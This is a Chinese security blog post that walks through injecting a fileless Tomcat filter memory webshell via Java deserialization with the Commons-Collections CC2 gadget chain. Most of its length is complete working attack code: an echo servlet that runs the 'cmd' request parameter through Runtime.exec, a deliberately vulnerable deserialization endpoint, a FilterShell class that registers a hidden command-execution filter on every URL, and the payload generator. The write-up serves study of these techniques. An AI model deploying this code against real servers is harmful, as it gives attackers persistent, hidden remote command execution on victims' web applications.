[Java安全]—Tomcat反序列化注入回显内存马
创始人
2024-03-16 02:58:21
0

前言

在之前学的tomcat filter、listener、servlet等内存马中,其实并不算真正意义上的内存马,因为Web服务器在编译jsp文件时生成了对应的class文件,因此进行了文件落地。

所以本篇主要是针对于反序列化进行内存马注入来达到无文件落地的目的,而jsprequestresponse可以直接获取,但是反序列化的时候却不能,所以回显问题便需要考虑其中。

构造回显

寻找获取请求变量

既然无法直接获取request和response变量,所以就需要找一个存储请求信息的变量,根据kingkk师傅的思路,在org.apache.catalina.core.ApplicationFilterChain中找到了:

private static final ThreadLocal lastServicedRequest;
private static final ThreadLocal lastServicedResponse;

并且这两个变量是静态的,因此省去了获取对象实例的操作。

在该类的最后发现一处静态代码块,对两个变量进行了初始化,而WRAP_SAME_OBJECT的默认值为false,所以两个变量的默认值也就为null了,所以要寻找一处修改默认值的地方。

image-20221130214631341.png

ApplicationFilterChain#internalDoFilter 中发现,当WRAP_SAME_OBJECT为 true时 ,就会通过set方法将请求信息存入 lastServicedRequest 和 lastServicedResponse中

image-20221130214850789.png

反射构造回显

所以接下来的目标就是通过反射修改WRAP_SAME_OBJECT的值为true,同时初始化 lastServicedRequest 和 lastServicedResponse

POC:

package memoryshell.UnserShell;import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;public class getRequest extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp){try {Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");//修改static finalsetFinalStatic(WRAP_SAME_OBJECT_FIELD);setFinalStatic(lastServicedRequestField);setFinalStatic(lastServicedResponseField);//静态变量直接填null即可ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);lastServicedRequestField.set(null,new ThreadLocal());lastServicedResponseField.set(null,new ThreadLocal());} else if (cmd!=null){InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();byte[] bcache = new byte[1024];int readSize = 0;try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){while ((readSize =in.read(bcache))!=-1){outputStream.write(bcache,0,readSize);}lastServicedResponse.get().getWriter().println(outputStream.toString());}}} catch (Exception e){e.printStackTrace();}}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPost(req, resp);}public void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {field.setAccessible(true);Field modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);}
}

这里的WRAP_SAME_OBJECTlastServicedRequestlastServicedResponse都是static final类型的,所以反射获取变量时,需要先进行如下操作:反射修改static final 静态变量值

public void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {field.setAccessible(true);Field modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}

web.xml

getRequestmemoryshell.UnserShell.getRequest
getRequest/demo

第一次访问/demo路径,将request和response存储到 lastServicedRequest 和 lastServicedResponse 中

第二次访问成功将lastServicedResponse取出,从而达到回显目的

image-20221130232213997.png

流程分析

第一次访问/demo

由于请求还没存储到变量中此时WRAP_SAME_OBJECT的值为null,因此 lastServicedRequest 和 lastServicedResponse 为 null

image-20221130234426079.png

由于IS_SECURITY_ENABLED的默认值是false,所以执行到service()方法

image-20221130234731852.png

service()中调用doGet(),就调用到了poc中的doGet()方法中,对上边提到的三个变量进行了赋值:

image-20221201000128014.png

之后WRAP_SAME_OBJECT变为true,进入了if,将lastServicedRequestlastServicedResponse设为object类型的null

image-20221201000221896.png

第二次访问/demo

由于第一次将WRAP_SAME_OBJECT修改为了true,因此进入if 将 request、response存储到了lastServicedRequestlastServicedResponse

image-20221201000618445.png

之后又调用了service()

this.servlet.service(request, response);

再调用doGet(),此时lastServicedRequest不为null,因此获取到了cmd参数,并通过lastServicedResponse将结果输出

image-20221201001942952.pngimage-20221201001942952.png

反序列化注入

环境配置

这里尝试用CC2打所以引入commons-collections

org.apache.commonscommons-collections44.0

导入依赖后,手动加到war包中

image-20221203205438255.png

除此外还需要构造一个反序列化入口

package memoryshell.UnserShell;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;public class CCServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String exp = req.getParameter("exp");byte[] decode = Base64.getDecoder().decode(exp);ByteArrayInputStream bain = new ByteArrayInputStream(decode);ObjectInputStream oin = new ObjectInputStream(bain);try {oin.readObject();} catch (Exception e) {throw new RuntimeException(e);}resp.getWriter().write("Success");}}

web.xml

    getRequestmemoryshell.UnserShell.getRequestgetRequest/democcmemoryshell.UnserShell.CCServletcc/cc

构造反序列化

第一步

将 request 和 response 存入到 lastServicedRequest 和 lastServicedResponse 中,跟上边一样所以直接贴过来了

 Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");//修改static finalsetFinalStatic(WRAP_SAME_OBJECT_FIELD);setFinalStatic(lastServicedRequestField);setFinalStatic(lastServicedResponseField);//静态变量直接填null即可ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);lastServicedRequestField.set(null, new ThreadLocal());lastServicedResponseField.set(null, new ThreadLocal());

第二步

通过lastServicedRequest 和 lastServicedResponse 获取request 和response ,然后利用 request 获取到 servletcontext 然后动态注册 Filter(由于是动态注册filter内存马来实现的,所以在后边的操作大致上与filter内存马的注册一致,后边会对比着来看)

获取上下文环境

在常规filter内存马中,是通过request请求获取到的ServletContext上下文

ServletContext servletContext = req.getSession().getServletContext();

而这里将request存入到了lastServicedRequest中,因此直接通过lastServicedRequest 获取ServletContext即可

ServletContext servletContext = servletRequest.getServletContext();

filter对象

其次构造恶意代码部分有些出处

在常规filter内存马中,是通过new Filter将doFilter对象直接实例化进去:

Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null){byte[] bytes = new byte[1024];//Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}
};

而这里并不能直接将初始化的这三个方法(init、doFilter、destory),包含到Filter对象中

具体原因我也不太清楚,猜测由于后边需要进行反序列化加载字节码所以需要继承AbstractTranslet,但继承了它之后便不能继承HttpServlet,无法获取doFilter方法中所需请求导致

所以这里采用的方法是实现Filter接口,并直接将把恶意类FilterShell构造成Filter

Filter filter = new FilterShell();

而doFilter方法便不再包含在filter实例中,而是直接在FilterShell类中实现,这样便也能实现常规filter内存马构造恶意类的效果

最终POC:

package memoryshell.UnserShell;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.*;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.Map;public class FilterShell extends AbstractTranslet implements Filter {static {try {Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");//修改static finalsetFinalStatic(WRAP_SAME_OBJECT_FIELD);setFinalStatic(lastServicedRequestField);setFinalStatic(lastServicedResponseField);//静态变量直接填null即可ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);lastServicedRequestField.set(null, new ThreadLocal());lastServicedResponseField.set(null, new ThreadLocal());}else {ServletRequest servletRequest = lastServicedRequest.get();ServletResponse servletResponse = lastServicedResponse.get();//开始注入内存马ServletContext servletContext = servletRequest.getServletContext();Field context = servletContext.getClass().getDeclaredField("context");context.setAccessible(true);// ApplicationContext 为 ServletContext 的实现类ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);Field context1 = applicationContext.getClass().getDeclaredField("context");context1.setAccessible(true);// 这样我们就获取到了 contextStandardContext standardContext = (StandardContext) context1.get(applicationContext);//1、创建恶意filter类Filter filter = new FilterShell();//2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName("Sentiment");filterDef.setFilterClass(filter.getClass().getName());// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中standardContext.addFilterDef(filterDef);//3、将FilterDefs 添加到FilterConfigField Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put("Sentiment",filterConfig);//4、创建一个filterMapFilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName("Sentiment");filterMap.setDispatcher(DispatcherType.REQUEST.name());//将自定义的filter放到最前边执行standardContext.addFilterMapBefore(filterMap);servletResponse.getWriter().write("Inject Success !");}} catch (NoSuchFieldException e) {e.printStackTrace();} catch (ClassNotFoundException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();} catch (InvocationTargetException e) {e.printStackTrace();} catch (NoSuchMethodException e) {e.printStackTrace();} catch (InstantiationException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {if (request.getParameter("cmd") != null) {//String[] cmds = {"/bin/sh","-c",request.getParameter("cmd")}String[] cmds = {"cmd", "/c", request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();byte[] bcache = new byte[1024];int readSize = 0;try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {while ((readSize = in.read(bcache)) != -1) {outputStream.write(bcache, 0, readSize);}response.getWriter().println(outputStream.toString());}}}@Overridepublic void destroy() {}public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {field.setAccessible(true);Field modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);}
}

将恶意类的class文件,传入cc2构造payload

package memoryshell.UnserShell;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class cc2 {public static void main(String[] args) throws Exception {Templates templates = new TemplatesImpl();byte[] bytes = getBytes();setFieldValue(templates,"_name","Sentiment");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);priorityQueue.add(templates);priorityQueue.add(2);Class c=transformingComparator.getClass();Field transformField=c.getDeclaredField("transformer");transformField.setAccessible(true);transformField.set(transformingComparator,invokerTransformer);serialize(priorityQueue);unserialize("1.ser");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));out.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));Object o = In.readObject();return o;}public static byte[] getBytes() throws IOException {InputStream inputStream = new FileInputStream(new File("FilterShell.class"));ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();int n = 0;while ((n=inputStream.read())!=-1){byteArrayOutputStream.write(n);}byte[] bytes = byteArrayOutputStream.toByteArray();return bytes;}}

生成1.ser,将其进行base64编码

image-20221203204908885.png

传参两次,第一次将请求存入lastServicedRequest 和 lastServicedResponse 中,第二次动态注册filter内存马

image-20221203205202990.png

注入后,成功执行命令

image-20221203205312968.png

后记

  • https://xz.aliyun.com/t/7307,李三师傅针对于00theway师傅的文章进行了linux下反序列化回显的总结。
  • Tomcat中一种半通用回显方法、基于tomcat的内存 Webshell 无文件攻击技术,之后师傅们引出了通过response进行注入的方式,但不足之处在于shiro中自定义了doFilter方法,因此无法在shiro中使用。
  • 基于全局储存的新思路 | Tomcat的一种通用回显方法研究 ,针对上述问题师傅通过currentThread.getContextClassLoader()获取StandardContext,进一步获取到response,解决了shiro回显的问题,但不足在于tomcat7中无法获取到StandardContext。
  • 基于Tomcat无文件Webshell研究 ,对上述方法进行了总结,但仍未解决tomcat7中的问题
  • tomcat不出网回显连续剧第六集 ,最后李三师傅又提出了解决tomcat7+shiro的方案

整个过程感觉非常有意思,但还没来得及学习,不得不说师傅们真的是tql !!!

参考链接

(1条消息) Tomcat内存马学习4:结合反序列化注入_浔阳江头夜送客丶的博客-CSDN博客_tomcat注入内存马

相关内容

热门资讯

聚杰微纤(300819)披露制... 截至2025年12月25日收盘,聚杰微纤(300819)报收于28.81元,较前一交易日上涨3.0%...
康曼德资本董事长丁楹:A股将进... 2025年A股在政策、估值、盈利、资金四重支撑下走出了牛市行情,但市场细分赛道的分化却愈发明显。20...
缅甸妙瓦底KK园区等已被强力拆... 视频来源:公安部微信公众号 记者12月25日从公安部获悉,近日,公安部派出工作组会同缅甸、泰国执法部...
盐田港(000088)披露公司... 截至2025年12月25日收盘,盐田港(000088)报收于4.55元,较前一交易日上涨0.66%,...
952名缅甸妙瓦底地区涉电诈犯... 来源:人民日报客户端 中缅泰联合开展清剿缅甸妙瓦底地区 赌诈园区行动 952名缅甸妙瓦底地区涉电诈犯...
原创 新... 最近几个赛季,孙铭徽一直都被视为广厦的“小外援”,距离他上一次场均得分不到两位数,还要追溯到2018...